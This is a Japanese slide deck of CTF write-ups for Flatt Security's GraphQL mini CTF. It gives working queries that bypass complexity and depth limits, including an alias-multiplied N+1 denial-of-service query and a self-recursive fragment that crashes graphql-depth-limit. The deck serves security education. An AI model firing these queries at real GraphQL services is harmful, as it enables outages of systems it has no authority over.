Flatt Security mini CTF #1, 2 解説

@akiym

2023/7/18



CTFお疲れ様でした



- welcome (20 solves)
- complexity (6 solves)
- dos (0 solves)
- smash (1 solves)

前回(修正済みのsmashが簡単に解けてしまう非想定解あり)

- welcome (17 solves)
- complexity (2 solves)
- dos (2 solves)
- smash (5 solves)

GraphQL



○ 構成

- \circ TypeScript
- \circ Hono
- \circ GraphQL.js
- \circ TypeGraphQL
- \circ SQLite

GraphQL



- ∘ 問題のねらい
 - welcome
 - ∘ fragmentの概念を知ろう
 - complexity
 - 。 complexityを計算してみよう
 - dos
 - 。 クエリによってDoSを引き起こそう
 - smash
 - 。 ライブラリのバグを探そう



TMTOWTDI

There's More Than One Way To Do It やり方はたくさんあり、ここで解説する解法のみとは限りません

welcome (flag1)

welcome (flag1)



ゴール

- ∘ getFlagを呼び出し、flag1を参照する
- 。ただし、getFlagが返すのはFlagUnionのUnion型
 - 。 スキーマ上ではDummyとFlagのどちらか、実装ではFlagを返す

```
type Dummy {
   flag1: String!
}

type Flag {
   flag1: String!
}

union FlagUnion = Dummy | Flag
```

welcome (flag1)



- 。単なるflag1でのクエリだと……?
 - Cannot query field "flag1" on type "FlagUnion". Did you mean to use an inline fragment on "Dummy" or "Flag"?
- https://graphql.org/learn/queries/#inline-fragments

```
{
  getFlag {
  flag1
  }
}
```

welcome (flag1) - 解法



```
{
   getFlag {
        ... on Flag {
           flag1
      }
   }
}
```



ゴール

- 。 complexityが100よりも大きければエラーとしてflagを出力
- 。 複雑なクエリを実行する

```
createComplexityRule({
   maximumComplexity: COMPLEXITY_LIMIT,
   variables: args.variableValues ?? undefined,
   onComplete(complexity) {
     reg.context.c.res.headers.append(
               X-Debug-Complexity",
            String(complexity)
    createError() {
        log(req.context.c, "got flag2");
return flagError("Complex query detected", {
  flag2: process.env.FLAG2,
    estimators: [
        fieldExtensionsEstimator(),
simpleEstimator({ defaultComplexity: 1 }),
```



- ∘ complexityとは
 - ∘ クエリの複雑さの指標
 - ∘フィールドの数が多いなら……?返すノードの数が多いなら……?
 - 。 決められた閾値以上のクエリの実行を禁止するために使われる
 - ある程度の「見積もり」であり、すべてにおいて完璧ではない
- 。今回はgraphql-query-complexityを使っている
 - \circ simpleEstimator
 - 1フィールドをコスト1として換算
 - fieldExtensionsEstimator
 - 個別に定義したコストの計算方法より換算



- 。 fieldExtensionsEstimatorによるcomplexityの計算
 - 。 以下のようにノード数の分だけ掛けていく
 - 計算する際にはfirstのような返されるノード数を用いる



- 。 complexityの計算は実行前に走ることに注意
 - 。 listUsersは引数のfirstによって<u>実行前に</u>返される最大ノード数がわかる
 - 例えば、searchUsersなどの実行前に返すノード数が決められていないもの だと見積もりが難しい
 - 実際にcomplexityによってクエリの制限を行う場合は、スキーマ自体の 設計が重要



。 制約

- 。 クエリ全体は1640バイト以下
- ∘ 深さ制限は2と厳しめ
- \circ argumentにfirstがあるとき、 $0 < \text{first} \le 10$ であるようにバリデーションする
- 。 エラーが複数ある場合はflagを消す(正しいクエリでなければいけない)

```
const res = await readJsonResponse(c.res);
if (res) {
   if (res.errors) {
      if (const error of res.errors) {
        if (error.extensions?.flag2 !== undefined && res.errors.length !== 1) {
            error.extensions.flag2 = "REDACTED";
            }
        }
        c.res = c.json(res);
}
```

complexity (flag2) - 解法



```
{
                                 first * childComplexity で
  listUsers(first: 10) {
                                  計算すると 10 * 11 = 110
    nodes {
      id
      name
      parentId
    edges {
      cursor
    pageInfo {
      hasNextPage
      hasPreviousPage
      startCursor
      endCursor
```



ゴール

- 。 クエリの実行時間が1秒以上ならflagを出力
- DoS (Denial of Services)を発生させるクエリを実行する

```
app.use("/graphql", async (c, next) => {
    const start = performance.now();
    await Promise.race([next(), sleep(DOS_TIMEOUT_MS)]);
    const end = performance.now();

    const executionTime = end - start;
    if (executionTime >= DOS_TIMEOUT_MS) {
        log(c, "got flag3");
        c.res = flagErrorResponse("DoS detected", {flag3: process.env.FLAG3 });
    }

    c.res.headers.append("X-Debug-Executing-Time", String(executionTime));
});
```



- 。 実行時間を長くするには?
 - 。 (1) 遅いSQLを発行する
 - 今回はSQLiteでDB全体で68KBほどで小さく、1 SQLあたり1秒以上 かかるようなものは現実的には無理
 - 。(2) SQLをたくさん発行する
 - ∘ resolverが呼ばれるたびにSQLが発行されていたら?



- 。まずそうなresolverの実装 (1)
 - ∘ followersが呼ばれるたび、SQLが1件ずつ発行される
 - 。 いわゆるN+1問題



- 。まずそうなresolverの実装(2)
 - searchUsersで返す件数の制限がない
 - 。 LIKE句に指定する文字列のエスケープ不備
 - 。 "%"で全件取得可能

```
@Query((returns) -=> [User])
async - searchUsers(@Arg("name") - name: - string) - {
   const - rows -= - await - db.all("SELECT - * - FROM - user - WHERE - name - LIKE - ?", - name);
   return - rows.map(makeUser);
}
```



- 。 searchUsersからfollowersを呼ぶことはできるか?
 - ∘ 深さ制限は2!
 - 。 よって以下のクエリは呼び出せない



```
{
    searchUsers(name: "%") {
        followers(first: 10) {
            id
                 name
            }
        }
}
```



- __typename (meta-field)
 - 。 graphql-depth-limitの実装では__で始まるフィールドは無視される
 - 。 つまり、resolverが実行できさえすればよい
 - 。 ちなみにgraphql-query-complexityのコスト計算でもmeta-fieldは無視される

```
{
    searchUsers(name: "%") {
        followers(first: 10) {
            __typename
        }
    }
}
```



- 。ただしsearchUsersの1度の呼び出しだけでは実行時間は1秒未満
- ∘ aliasを使う
 - https://graphql.org/learn/queries/#aliases

```
{
  a: searchUsers(name: "%") {
    followers(first: 10) {
        __typename
    }
  }
  b: searchUsers(name: "%") {
    followers(first: 10) {
        __typename
    }
  }
}
```

dos (flag3) - 解法



```
{
 a: searchUsers(name: "%") {
    followers(first: 10) { __typename }
  b: searchUsers(name: "%") {
    followers(first: 10) { __typename }
  c: searchUsers(name: "%") {
    followers(first: 10) { __typename }
 d: searchUsers(name: "%") {
    followers(first: 10) { __typename }
 e: searchUsers(name: "%") {
    followers(first: 10) { __typename }
```



- 前回開催時に見つかった非想定解
 - 。 クエリサイズの制限がバリデーションルールとして実装されている
 - 。 よって巨大なクエリの実行はできないがパースはされる
 - エラー箇所が大量に存在するクエリを投げると、レスポンスとして 返されるオブジェクトが巨大になり1秒以上かかる
 - 。 → そもそもバリデーションルールでクエリサイズの制限を行うのは間違い



ゴール

- 。 next()内でレスポンスが書き換えられなければflagを出力
- レスポンスが書き換えられないとは、どのような状況?

```
app.use("/graphql", async (c, next) => {
    const originalRes = flagErrorResponse("GraphQL server is smashed", {
        flag4: process.env.FLAG4,
        });
    c.res = originalRes;
    await next();
    if (c.res === originalRes) {
        log(c, "got flag4");
    }
});
```



∘ createHandler内での例外発生時にはレスポンスは書き換えられない

```
export function createHandler < Context extends Operation Context = undefined > (
  options: HandlerOptions<Context>
): MiddlewareHandler {
  const isProd = process.env.NODE_ENV === "production";
const handle = createRawHandler(options);
  return async function requestListener(c, next) {
  const requestBody = await c.req.text();
  log(c, { query: requestBody });
       const [body, init] = await handle({
         url: c.réq.url,
         method: c.req.method,
         headers: c.req.headers,
         body: requestBody,
         raw: c.req.raw,
         context: { c },
       c.res = new Response(body, {
         status: init.status,
         statusText: init.statusText,
         headers: init.headers
      catch (err)
                                      status codeだけ変更して
       if (isProd)
         c.status(500);
                                      body自体はそのまま
```



- 。 ただし、resolverの実行時の例外ではない
 - 例えば、listUsers(first: 10, after: "MS4x=") { ... }のような例外を発生させる場合にはGraphQLのエラーとしてラップされている
 - SQLITE_MISMATCH: datatype mismatch
 - \circ MS4x= \rightarrow b64encode("1.1")
- https://github.com/graphql/graphql-http/blob/v1.17.1/src/handler.ts
 - 。 多くの例外はcatchされてmakeResponseでGraphQLのエラーになる
 - ∘ 例えば、validationRulesの実行時にエラーになったら……?



- ∘ 解法のひとつとして:
 - ∘ fragment内でfragmentを展開して再帰させる
 - 。 graphql-depth-limitの実装では再帰されることを想定していないので Maximum call stack size exceededエラーになる

```
RangeError: Maximum call stack size exceeded
    at RegExp.test (<anonymous>)
    at determineDepth (/home/ctf/node_modules/graphql-depth-limit/index.js:63:34)
    at /home/ctf/node_modules/graphql-depth-limit/index.js:77:9
    at Array.map (<anonymous>)
    at determineDepth (/home/ctf/node_modules/graphql-depth-limit/index.js:76:55)
    at determineDepth (/home/ctf/node_modules/graphql-depth-limit/index.js:72:14)
    at /home/ctf/node_modules/graphql-depth-limit/index.js:76:55)
    at determineDepth (/home/ctf/node_modules/graphql-depth-limit/index.js:76:55)
    at determineDepth (/home/ctf/node_modules/graphql-depth-limit/index.js:72:14)
```



- 。 なぜgraphql-depth-limitをそのまま使っていない?
 - 存在しないfragmentを展開するだけでエラーになるという解法を潰すため○ { ...a } だけでエラー
- ∘ graphql-depth-limit以外の別解もあります
 - 。 mutation { __typename } と実行するとgraphql-query-complexityでエラー

smash (flag4) - 解法



```
{
  getFlag {
    ...A
  }
}
fragment A on Flag {
    ...A
}
```

最後に



- 。 CTF問題・解説の内容に関するwriteupやツイートはじゃんじゃんお願いします
 - 自分は違う解法で解いたという方がいれば、是非教えてください
- 。 このスライドは後程connpassのほうで共有します
- ∘ Flatt Security採用情報はこちらから
 - https://recruit.flatt.tech/